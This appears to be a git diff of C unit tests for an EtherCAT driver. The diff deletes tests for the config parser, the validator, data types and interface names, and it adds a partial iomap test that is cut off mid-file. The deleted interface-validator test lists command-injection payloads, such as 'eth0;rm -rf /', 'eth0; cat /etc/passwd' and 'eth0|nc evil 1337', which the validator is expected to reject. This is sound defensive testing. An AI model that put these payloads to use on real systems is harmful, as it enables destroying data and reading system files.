g_instances[0].config.slave_count); - TEST_ASSERT_EQUAL_INT(1, g_instances[0].config.slaves[0].position); -} - -/* ===================================================================== - * Multi-master - * ===================================================================== */ - -void test_parse_all_TwoMasters_ShouldParseBoth(void) -{ - write_tmpfile( - "[" - " {" - " \"name\": \"m1\"," - " \"protocol\": \"ETHERCAT\"," - " \"config\": {" - " \"master\": {\"interface\": \"eth0\", \"cycle_time_us\": 1000, \"receive_timeout_us\": 2000}," - " \"slaves\": [{" - " \"position\": 1, \"name\": \"S1\"," - " \"vendor_id\": \"0x00000002\", \"product_code\": \"0x00000001\"," - " \"revision\": \"0x00000001\"," - " \"channels\": [], \"sdo_configurations\": []," - " \"rx_pdos\": [], \"tx_pdos\": []" - " }]," - " \"diagnostics\": {}" - " }" - " }," - " {" - " \"name\": \"m2\"," - " \"protocol\": \"ETHERCAT\"," - " \"config\": {" - " \"master\": {\"interface\": \"eth1\", \"cycle_time_us\": 2000, \"receive_timeout_us\": 3000}," - " \"slaves\": [{" - " \"position\": 1, \"name\": \"S2\"," - " \"vendor_id\": \"0x00000003\", \"product_code\": \"0x00000004\"," - " \"revision\": \"0x00000001\"," - " \"channels\": [], \"sdo_configurations\": []," - " \"rx_pdos\": [], \"tx_pdos\": []" - " }]," - " \"diagnostics\": {}" - " }" - " }" - "]"); - - int count = 0; - int rc = ecat_config_parse_all(TMPFILE, g_instances, - ECAT_MAX_MASTERS, &count); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_EQUAL_INT(2, count); - TEST_ASSERT_EQUAL_STRING("m1", g_instances[0].name); - TEST_ASSERT_EQUAL_STRING("eth0", g_instances[0].config.master.interface); - TEST_ASSERT_EQUAL_STRING("m2", g_instances[1].name); - TEST_ASSERT_EQUAL_STRING("eth1", g_instances[1].config.master.interface); - TEST_ASSERT_EQUAL_INT(2000, g_instances[1].config.master.cycle_time_us); -} - -/* ===================================================================== - * Protocol filtering - * ===================================================================== */ - -void test_parse_all_NonEtherCATEntry_ShouldBeSkipped(void) -{ - write_tmpfile( - "[" - " {\"name\": \"modbus_skipped\", \"protocol\": \"MODBUS\"," - " \"config\": {\"master\": {\"interface\": \"eth9\", \"cycle_time_us\": 100, \"receive_timeout_us\": 100}}}," - " {\"name\": \"ecat_kept\", \"protocol\": \"EtherCAT\"," - " \"config\": {" - " \"master\": {\"interface\": \"eth0\", \"cycle_time_us\": 1000, \"receive_timeout_us\": 2000}," - " \"slaves\": [{" - " \"position\": 1, \"name\": \"S\"," - " \"vendor_id\": \"0x00000002\", \"product_code\": \"0x00000001\"," - " \"revision\": \"0x00000001\"," - " \"channels\": [], \"sdo_configurations\": [], \"rx_pdos\": [], \"tx_pdos\": []" - " }]," - " \"diagnostics\": {}" - " }}" - "]"); - - int count = 0; - int rc = ecat_config_parse_all(TMPFILE, g_instances, - ECAT_MAX_MASTERS, &count); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_EQUAL_INT(1, count); - TEST_ASSERT_EQUAL_STRING("ecat_kept", g_instances[0].name); -} - -/* ===================================================================== - * Validation rejection inside the loop - * ===================================================================== */ - -void test_parse_all_InvalidMasterEntry_ShouldBeSkipped(void) -{ - /* First entry has slave with vendor_id=0 -> validate fails -> skipped. - * Second entry is valid -> kept. Overall result: OK with count=1. */ - write_tmpfile( - "[" - " {\"name\": \"bad\", \"protocol\": \"ETHERCAT\"," - " \"config\": {" - " \"master\": {\"interface\": \"eth0\", \"cycle_time_us\": 1000, \"receive_timeout_us\": 2000}," - " \"slaves\": [{" - " \"position\": 1, \"name\": \"S\"," - " \"vendor_id\": \"0x00000000\", \"product_code\": \"0x00000001\"," - " \"revision\": \"0x00000001\"," - " \"channels\": [], \"sdo_configurations\": [], \"rx_pdos\": [], \"tx_pdos\": []" - " }]," - " \"diagnostics\": {}" - " }}," - " {\"name\": \"good\", \"protocol\": \"ETHERCAT\"," - " \"config\": {" - " \"master\": {\"interface\": \"eth1\", \"cycle_time_us\": 1000, \"receive_timeout_us\": 2000}," - " \"slaves\": [{" - " \"position\": 1, \"name\": \"S\"," - " \"vendor_id\": \"0x00000002\", \"product_code\": \"0x00000001\"," - " \"revision\": \"0x00000001\"," - " \"channels\": [], \"sdo_configurations\": [], \"rx_pdos\": [], \"tx_pdos\": []" - " }]," - " \"diagnostics\": {}" - " }}" - "]"); - - int count = 0; - int rc = ecat_config_parse_all(TMPFILE, g_instances, - ECAT_MAX_MASTERS, &count); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_EQUAL_INT(1, count); - TEST_ASSERT_EQUAL_STRING("good", g_instances[0].name); -} - -void test_parse_all_AllInvalid_ShouldReturnMissing(void) -{ - write_tmpfile( - "[{" - " \"name\": \"bad\", \"protocol\": \"ETHERCAT\"," - " \"config\": {" - " \"master\": {\"interface\": \"\", \"cycle_time_us\": 1000, \"receive_timeout_us\": 2000}," - " \"slaves\": [], \"diagnostics\": {}" - " }" - "}]"); - - int count = 99; - int rc = ecat_config_parse_all(TMPFILE, g_instances, - ECAT_MAX_MASTERS, &count); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_MISSING, rc); - TEST_ASSERT_EQUAL_INT(0, count); -} - -/* ===================================================================== - * Defaults applied for missing fields - * ===================================================================== */ - -void test_parse_all_MissingMasterFields_ShouldUseDefaults(void) -{ - /* Master section omits cycle_time_us, receive_timeout_us, watchdog -- the - * parser must fill in defaults from ecat_config_init_defaults(). */ - write_tmpfile( - "[{" - " \"name\": \"m\", \"protocol\": \"ETHERCAT\"," - " \"config\": {" - " \"master\": {\"interface\": \"eth0\"}," - " \"slaves\": [{" - " \"position\": 1, \"name\": \"S\"," - " \"vendor_id\": \"0x00000002\", \"product_code\": \"0x00000001\"," - " \"revision\": \"0x00000001\"," - " \"channels\": [], \"sdo_configurations\": [], \"rx_pdos\": [], \"tx_pdos\": []" - " }]," - " \"diagnostics\": {}" - " }" - "}]"); - - int count = 0; - int rc = ecat_config_parse_all(TMPFILE, g_instances, - ECAT_MAX_MASTERS, &count); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_EQUAL_INT(1, count); - TEST_ASSERT_EQUAL_INT(1000, g_instances[0].config.master.cycle_time_us); - TEST_ASSERT_EQUAL_INT(2000, g_instances[0].config.master.receive_timeout_us); - TEST_ASSERT_EQUAL_INT(3, g_instances[0].config.master.watchdog_timeout_cycles); -} - -/* ===================================================================== - * Bare-object fall-back path - * ===================================================================== */ - -void test_parse_all_BareObjectRoot_ShouldFallBackToSingleEntry(void) -{ - /* Root is an object, not an array -- the bare-object fall-back should - * parse it as one master. */ - write_tmpfile( - "{" - " \"name\": \"bare\"," - " \"config\": {" - " \"master\": {\"interface\": \"eth0\", \"cycle_time_us\": 1000, \"receive_timeout_us\": 2000}," - " \"slaves\": [{" - " \"position\": 1, \"name\": \"S\"," - " \"vendor_id\": \"0x00000002\", \"product_code\": \"0x00000001\"," - " \"revision\": \"0x00000001\"," - " \"channels\": [], \"sdo_configurations\": [], \"rx_pdos\": [], \"tx_pdos\": []" - " }]," - " \"diagnostics\": {}" - " }" - "}"); - - int count = 0; - int rc = ecat_config_parse_all(TMPFILE, g_instances, - ECAT_MAX_MASTERS, &count); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_EQUAL_INT(1, count); - TEST_ASSERT_EQUAL_STRING("bare", g_instances[0].name); -} diff --git a/tests/test_ethercat_config_validator.c b/tests/test_ethercat_config_validator.c deleted file mode 100644 index 2763fe8d..00000000 --- a/tests/test_ethercat_config_validator.c +++ /dev/null @@ -1,189 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file test_ethercat_config_validator.c - * @brief Unit tests for ecat_config_validate() — boundary and shape checks - * on a parsed ecat_config_t before the master starts. - */ - -#include "ethercat_config.h" -#include "unity.h" - -#include - -TEST_SOURCE_FILE("core/src/drivers/plugins/native/ethercat/cjson/cJSON.c") - -void setUp(void) {} -void tearDown(void) {} - -/* Helper: a baseline configuration that should always validate as OK. */ -static void baseline_config(ecat_config_t *config) -{ - ecat_config_init_defaults(config); - - config->slave_count = 1; - ecat_slave_t *s = &config->slaves[0]; - memset(s, 0, sizeof(*s)); - s->position = 1; - s->vendor_id = 0x00000002; - s->product_code = 0x00000001; - s->revision = 0x00000001; - snprintf(s->name, sizeof(s->name), "TestSlave"); - s->channel_count = 0; -} - -/* ---- NULL ---- */ - -void test_validate_NullConfig_ShouldReject(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, ecat_config_validate(NULL)); -} - -/* ---- Master section ---- */ - -void test_validate_BaselineConfig_ShouldAccept(void) -{ - static ecat_config_t config; - baseline_config(&config); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, ecat_config_validate(&config)); -} - -void test_validate_EmptyInterface_ShouldReject(void) -{ - static ecat_config_t config; - baseline_config(&config); - config.master.interface[0] = '\0'; - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, ecat_config_validate(&config)); -} - -void test_validate_ZeroCycleTime_ShouldReject(void) -{ - static ecat_config_t config; - baseline_config(&config); - config.master.cycle_time_us = 0; - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, ecat_config_validate(&config)); -} - -void test_validate_NegativeCycleTime_ShouldReject(void) -{ - static ecat_config_t config; - baseline_config(&config); - config.master.cycle_time_us = -1; - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, ecat_config_validate(&config)); -} - -void test_validate_ZeroReceiveTimeout_ShouldReject(void) -{ - static ecat_config_t config; - baseline_config(&config); - config.master.receive_timeout_us = 0; - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, ecat_config_validate(&config)); -} - -/* ---- Slave section ---- */ - -void test_validate_NoSlaves_ShouldAccept(void) -{ - /* Master with no slaves is a valid (if uncommon) config. */ - static ecat_config_t config; - baseline_config(&config); - config.slave_count = 0; - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, ecat_config_validate(&config)); -} - -void test_validate_SlavePositionZero_ShouldReject(void) -{ - static ecat_config_t config; - baseline_config(&config); - config.slaves[0].position = 0; - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, ecat_config_validate(&config)); -} - -void test_validate_SlavePositionNegative_ShouldReject(void) -{ - static ecat_config_t config; - baseline_config(&config); - config.slaves[0].position = -1; - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, ecat_config_validate(&config)); -} - -void test_validate_SlaveZeroVendorId_ShouldReject(void) -{ - static ecat_config_t config; - baseline_config(&config); - config.slaves[0].vendor_id = 0; - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, ecat_config_validate(&config)); -} - -void test_validate_SlaveZeroProductCode_ShouldReject(void) -{ - static ecat_config_t config; - baseline_config(&config); - config.slaves[0].product_code = 0; - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, ecat_config_validate(&config)); -} - -void test_validate_DuplicateSlavePositions_ShouldReject(void) -{ - static ecat_config_t config; - baseline_config(&config); - config.slave_count = 2; - /* slot 0 was set up by baseline_config */ - ecat_slave_t *s2 = &config.slaves[1]; - memset(s2, 0, sizeof(*s2)); - s2->position = config.slaves[0].position; /* same position - duplicate */ - s2->vendor_id = 0x00000003; - s2->product_code = 0x00000004; - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, ecat_config_validate(&config)); -} - -void test_validate_DistinctSlavePositions_ShouldAccept(void) -{ - static ecat_config_t config; - baseline_config(&config); - config.slave_count = 2; - ecat_slave_t *s2 = &config.slaves[1]; - memset(s2, 0, sizeof(*s2)); - s2->position = 2; - s2->vendor_id = 0x00000003; - s2->product_code = 0x00000004; - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, ecat_config_validate(&config)); -} - -/* ---- Channel section ---- */ - -void test_validate_ChannelWithoutPercentPrefix_ShouldReject(void) -{ - static ecat_config_t config; - baseline_config(&config); - config.slaves[0].channel_count = 1; - ecat_channel_t *ch = &config.slaves[0].channels[0]; - memset(ch, 0, sizeof(*ch)); - /* Non-empty location that is not a valid IEC string -- must start with '%'. */ - snprintf(ch->iec_location, sizeof(ch->iec_location), "IX0.0"); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, ecat_config_validate(&config)); -} - -void test_validate_ChannelWithPercentPrefix_ShouldAccept(void) -{ - static ecat_config_t config; - baseline_config(&config); - config.slaves[0].channel_count = 1; - ecat_channel_t *ch = &config.slaves[0].channels[0]; - memset(ch, 0, sizeof(*ch)); - snprintf(ch->iec_location, sizeof(ch->iec_location), "%%IX0.0"); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, ecat_config_validate(&config)); -} - -void test_validate_ChannelWithEmptyLocation_ShouldAccept(void) -{ - /* Empty iec_location is allowed (validator only flags non-empty without '%'). */ - static ecat_config_t config; - baseline_config(&config); - config.slaves[0].channel_count = 1; - ecat_channel_t *ch = &config.slaves[0].channels[0]; - memset(ch, 0, sizeof(*ch)); - ch->iec_location[0] = '\0'; - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, ecat_config_validate(&config)); -} diff --git a/tests/test_ethercat_data_types.c b/tests/test_ethercat_data_types.c deleted file mode 100644 index 57381df5..00000000 --- a/tests/test_ethercat_data_types.c +++ /dev/null @@ -1,246 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file test_ethercat_data_types.c - * @brief Unit tests for ecat_parse_data_type() — data type string recognition - * - * Tests all recognized CoE/EtherCAT type names, common IEC 61131-3 aliases, - * case-insensitivity, and the UNKNOWN fallback for unrecognized strings. - */ - -#include "ethercat_config.h" -#include "unity.h" - -TEST_SOURCE_FILE("core/src/drivers/plugins/native/ethercat/cjson/cJSON.c") - -void setUp(void) {} -void tearDown(void) {} - -/* ---- NULL and empty input ---- */ - -void test_parse_data_type_NullString_ShouldReturnUnknown(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UNKNOWN, ecat_parse_data_type(NULL)); -} - -void test_parse_data_type_EmptyString_ShouldReturnUnknown(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UNKNOWN, ecat_parse_data_type("")); -} - -/* ---- Boolean ---- */ - -void test_parse_data_type_Bool_ShouldReturnBool(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_BOOL, ecat_parse_data_type("BOOL")); -} - -void test_parse_data_type_BoolLowerCase_ShouldReturnBool(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_BOOL, ecat_parse_data_type("bool")); -} - -void test_parse_data_type_BoolMixedCase_ShouldReturnBool(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_BOOL, ecat_parse_data_type("Bool")); -} - -/* ---- 8-bit signed integer ---- */ - -void test_parse_data_type_Int8_ShouldReturnInt8(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_INT8, ecat_parse_data_type("INT8")); -} - -void test_parse_data_type_Sint_ShouldReturnInt8(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_INT8, ecat_parse_data_type("SINT")); -} - -/* ---- 8-bit unsigned integer ---- */ - -void test_parse_data_type_Uint8_ShouldReturnUint8(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UINT8, ecat_parse_data_type("UINT8")); -} - -void test_parse_data_type_Usint_ShouldReturnUint8(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UINT8, ecat_parse_data_type("USINT")); -} - -void test_parse_data_type_Byte_ShouldReturnUint8(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UINT8, ecat_parse_data_type("BYTE")); -} - -/* ---- 16-bit signed integer ---- */ - -void test_parse_data_type_Int16_ShouldReturnInt16(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_INT16, ecat_parse_data_type("INT16")); -} - -void test_parse_data_type_Int_ShouldReturnInt16(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_INT16, ecat_parse_data_type("INT")); -} - -/* ---- 16-bit unsigned integer ---- */ - -void test_parse_data_type_Uint16_ShouldReturnUint16(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UINT16, ecat_parse_data_type("UINT16")); -} - -void test_parse_data_type_Uint_ShouldReturnUint16(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UINT16, ecat_parse_data_type("UINT")); -} - -void test_parse_data_type_Word_ShouldReturnUint16(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UINT16, ecat_parse_data_type("WORD")); -} - -/* ---- 32-bit signed integer ---- */ - -void test_parse_data_type_Int32_ShouldReturnInt32(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_INT32, ecat_parse_data_type("INT32")); -} - -void test_parse_data_type_Dint_ShouldReturnInt32(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_INT32, ecat_parse_data_type("DINT")); -} - -/* ---- 32-bit unsigned integer ---- */ - -void test_parse_data_type_Uint32_ShouldReturnUint32(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UINT32, ecat_parse_data_type("UINT32")); -} - -void test_parse_data_type_Udint_ShouldReturnUint32(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UINT32, ecat_parse_data_type("UDINT")); -} - -void test_parse_data_type_Dword_ShouldReturnUint32(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UINT32, ecat_parse_data_type("DWORD")); -} - -/* ---- 64-bit signed integer ---- */ - -void test_parse_data_type_Int64_ShouldReturnInt64(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_INT64, ecat_parse_data_type("INT64")); -} - -void test_parse_data_type_Lint_ShouldReturnInt64(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_INT64, ecat_parse_data_type("LINT")); -} - -/* ---- 64-bit unsigned integer ---- */ - -void test_parse_data_type_Uint64_ShouldReturnUint64(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UINT64, ecat_parse_data_type("UINT64")); -} - -void test_parse_data_type_Ulint_ShouldReturnUint64(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UINT64, ecat_parse_data_type("ULINT")); -} - -void test_parse_data_type_Lword_ShouldReturnUint64(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UINT64, ecat_parse_data_type("LWORD")); -} - -/* ---- 32-bit float (REAL) ---- */ - -void test_parse_data_type_Real_ShouldReturnReal32(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_REAL32, ecat_parse_data_type("REAL")); -} - -void test_parse_data_type_Real32_ShouldReturnReal32(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_REAL32, ecat_parse_data_type("REAL32")); -} - -void test_parse_data_type_Float_ShouldReturnReal32(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_REAL32, ecat_parse_data_type("FLOAT")); -} - -void test_parse_data_type_RealLowerCase_ShouldReturnReal32(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_REAL32, ecat_parse_data_type("real")); -} - -void test_parse_data_type_FloatMixedCase_ShouldReturnReal32(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_REAL32, ecat_parse_data_type("Float")); -} - -/* ---- 64-bit float (LREAL) ---- */ - -void test_parse_data_type_Lreal_ShouldReturnReal64(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_REAL64, ecat_parse_data_type("LREAL")); -} - -void test_parse_data_type_Real64_ShouldReturnReal64(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_REAL64, ecat_parse_data_type("REAL64")); -} - -void test_parse_data_type_Double_ShouldReturnReal64(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_REAL64, ecat_parse_data_type("DOUBLE")); -} - -void test_parse_data_type_LrealLowerCase_ShouldReturnReal64(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_REAL64, ecat_parse_data_type("lreal")); -} - -void test_parse_data_type_DoubleMixedCase_ShouldReturnReal64(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_REAL64, ecat_parse_data_type("Double")); -} - -/* ---- Padding ---- */ - -void test_parse_data_type_Pad_ShouldReturnPad(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_PAD, ecat_parse_data_type("PAD")); -} - -void test_parse_data_type_PadLowerCase_ShouldReturnPad(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_PAD, ecat_parse_data_type("pad")); -} - -/* ---- Unrecognized strings ---- */ - -void test_parse_data_type_Garbage_ShouldReturnUnknown(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UNKNOWN, ecat_parse_data_type("GARBAGE")); -} - -void test_parse_data_type_Int128_ShouldReturnUnknown(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UNKNOWN, ecat_parse_data_type("INT128")); -} - -void test_parse_data_type_WhitespaceString_ShouldReturnUnknown(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UNKNOWN, ecat_parse_data_type(" BOOL")); -} diff --git a/tests/test_ethercat_iec_location.c b/tests/test_ethercat_iec_location.c index b88fc64f..3529b73f 100644 --- a/tests/test_ethercat_iec_location.c +++ b/tests/test_ethercat_iec_location.c @@ -7,10 +7,10 @@ * location string parser ("%IX0.3", "%QW3", etc.). */ -#include "ethercat_io.h" +#include "ethercat_iomap.h" #include "unity.h" -TEST_SOURCE_FILE("core/src/drivers/plugins/native/ethercat/cjson/cJSON.c") +TEST_SOURCE_FILE("core/src/drivers/plugins/native/cjson/cJSON.c") void setUp(void) {} void tearDown(void) {} diff --git a/tests/test_ethercat_iface_validator.c b/tests/test_ethercat_iface_validator.c deleted file mode 100644 index 60768968..00000000 --- a/tests/test_ethercat_iface_validator.c +++ /dev/null @@ -1,191 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file test_ethercat_iface_validator.c - * @brief Unit tests for ecat_is_valid_iface_name() — the Linux iface - * whitelist used as a precondition before passing names to - * ethtool / iptables / /proc paths. - * - * Accepted: alphanumeric + '_' + '-', must start with an alpha, - * length 1..15 (IFNAMSIZ-1). - */ - -#include "ethercat_config.h" -#include "unity.h" - -#include -#include - -TEST_SOURCE_FILE("core/src/drivers/plugins/native/ethercat/cjson/cJSON.c") - -void setUp(void) {} -void tearDown(void) {} - -/* ---- Null and length boundaries ---- */ - -void test_iface_validator_Null_ShouldReject(void) -{ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name(NULL)); -} - -void test_iface_validator_Empty_ShouldReject(void) -{ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name("")); -} - -void test_iface_validator_MaxValidLength_ShouldAccept(void) -{ - /* 15 chars = IFNAMSIZ-1, the longest valid Linux iface name. */ - TEST_ASSERT_TRUE(ecat_is_valid_iface_name("eth012345678901")); -} - -void test_iface_validator_LengthSixteen_ShouldReject(void) -{ - /* 16 chars: leaves no room for the NUL within IFNAMSIZ. */ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name("eth0123456789012")); -} - -void test_iface_validator_VeryLong_ShouldReject(void) -{ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name( - "this_is_a_ridiculously_long_interface_name_that_cannot_exist")); -} - -/* ---- First-character constraint ---- */ - -void test_iface_validator_LeadingDigit_ShouldReject(void) -{ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name("0eth")); -} - -void test_iface_validator_LeadingUnderscore_ShouldReject(void) -{ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name("_eth0")); -} - -void test_iface_validator_LeadingHyphen_ShouldReject(void) -{ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name("-eth0")); -} - -/* ---- Shell metacharacters and unsafe characters ---- */ - -void test_iface_validator_Semicolon_ShouldReject(void) -{ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name("eth0;rm")); -} - -void test_iface_validator_Pipe_ShouldReject(void) -{ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name("eth0|cat")); -} - -void test_iface_validator_Backtick_ShouldReject(void) -{ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name("eth0`id`")); -} - -void test_iface_validator_Dollar_ShouldReject(void) -{ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name("eth0$x")); -} - -void test_iface_validator_Slash_ShouldReject(void) -{ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name("eth0/foo")); -} - -void test_iface_validator_Backslash_ShouldReject(void) -{ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name("eth0\\x")); -} - -void test_iface_validator_Space_ShouldReject(void) -{ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name("eth 0")); -} - -void test_iface_validator_Newline_ShouldReject(void) -{ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name("eth0\n")); -} - -void test_iface_validator_DotInName_ShouldReject(void) -{ - /* '.' is not in the accepted set even though some virtual ifaces use it. - * Keeping the validator strict avoids surprises elsewhere. */ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name("vlan0.10")); -} - -/* ---- Valid Linux iface names ---- */ - -void test_iface_validator_SimpleEth0_ShouldAccept(void) -{ - TEST_ASSERT_TRUE(ecat_is_valid_iface_name("eth0")); -} - -void test_iface_validator_PredictableEnp_ShouldAccept(void) -{ - TEST_ASSERT_TRUE(ecat_is_valid_iface_name("enp3s0")); -} - -void test_iface_validator_Wireless_ShouldAccept(void) -{ - TEST_ASSERT_TRUE(ecat_is_valid_iface_name("wlan0")); -} - -void test_iface_validator_Loopback_ShouldAccept(void) -{ - TEST_ASSERT_TRUE(ecat_is_valid_iface_name("lo")); -} - -void test_iface_validator_Underscore_ShouldAccept(void) -{ - TEST_ASSERT_TRUE(ecat_is_valid_iface_name("ec_master")); -} - -void test_iface_validator_Hyphen_ShouldAccept(void) -{ - TEST_ASSERT_TRUE(ecat_is_valid_iface_name("eth-net")); -} - -void test_iface_validator_MixedCase_ShouldAccept(void) -{ - TEST_ASSERT_TRUE(ecat_is_valid_iface_name("Eth0")); -} - -/* ---- Security regression: documented command-injection payloads ---- */ - -void test_iface_validator_CommandInjectionPayloads_ShouldReject(void) -{ - /* Real-world payloads collected from common command-injection - * cheatsheets. Per-character classes are already covered above; this - * test serves as a documented security regression and a single place - * to add new payloads that show up in audits. */ - static const char *payloads[] = { - "eth0; cat /etc/passwd", - "eth0;rm -rf /", - "$(id)", - "eth0$(whoami)", - "`id`", - "eth0`whoami`", - "eth0|nc evil 1337", - "eth0 && wget evil.example/x", - "eth0||curl evil.example", - "eth0\nrm -rf /", - "eth0\r\nGET / HTTP/1.0", - "eth0 ../../etc/passwd", - "eth0/../../tmp", - "eth0\\..\\..\\windows", - "eth0 'OR 1=1 --", - "eth0\"; DROP TABLE x; --", - }; - - for (size_t i = 0; i < sizeof(payloads) / sizeof(payloads[0]); i++) { - char message[160]; - snprintf(message, sizeof(message), - "payload #%zu must be rejected: %s", i, payloads[i]); - TEST_ASSERT_FALSE_MESSAGE(ecat_is_valid_iface_name(payloads[i]), message); - } -} diff --git a/tests/test_ethercat_iomap.c b/tests/test_ethercat_iomap.c new file mode 100644 index 00000000..d5d0ccae --- /dev/null +++ b/tests/test_ethercat_iomap.c @@ -0,0 +1,237 @@ +// SPDX-License-Identifier: MIT +// Copyright (c) 2026 Autonomy® + +/** + * @file test_ethercat_iomap.c + * @brief Unit tests for the EtherCAT client's mapping file, layout join and per-cycle copies. + */ + +#include "ethercat_iomap.h" +#include "unity.h" + +#include +#include + +TEST_SOURCE_FILE("core/src/drivers/plugins/native/cjson/cJSON.c") + +static const char *TMPFILE = "test_ethercat_iomap_tmp.json"; + +/* EK1818-shaped layout: 4 output bits, 8 input bits, one byte each way. */ +static const char *LAYOUT = + "{\"status\":\"success\",\"masters\":[{\"index\":0,\"name\":\"m0\",\"state\":\"OPERATIONAL\"," + "\"ready\":true,\"output_bytes\":3,\"input_bytes\":3,\"entries\":[" + "{\"slave\":1,\"pdo\":\"0x1600\",\"index\":\"0x7000\",\"subindex\":1,\"direction\":\"output\"," + "\"bit_offset\":0,\"bit_length\":1,\"data_type\":\"BOOL\",\"name\":\"Out1\"}," + "{\"slave\":1,\"pdo\":\"0x1601\",\"index\":\"0x7010\",\"subindex\":1,\"direction\":\"output\"," + "\"bit_offset\":8,\"bit_length\":16,\"data_type\":\"UINT16\",\"name\":\"Word\"}," + "{\"slave\":1,\"pdo\":\"0x1a00\",\"index\":\"0x6000\",\"subindex\":1,\"direction\":\"input\"," + "\"bit_offset\":3,\"bit_length\":1,\"data_type\":\"BOOL\",\"name\":\"In1\"}," + "{\"slave\":1,\"pdo\":\"0x1a01\",\"index\":\"0x6010\",\"subindex\":1,\"direction\":\"input\"," + "\"bit_offset\":8,\"bit_length\":16,\"data_type\":\"UINT16\",\"name\":\"InWord\"}]}]}"; + +/* --- fake runtime image and journal ---------------------------------------------------- */ + +#define BUF 16 +static IEC_BOOL bool_out_vals[BUF][8]; +static IEC_BOOL *bool_out[BUF][8]; +static IEC_BOOL *bool_in[BUF][8]; +static IEC_UINT int_out_vals[BUF]; +static IEC_UINT *int_out[BUF]; +static 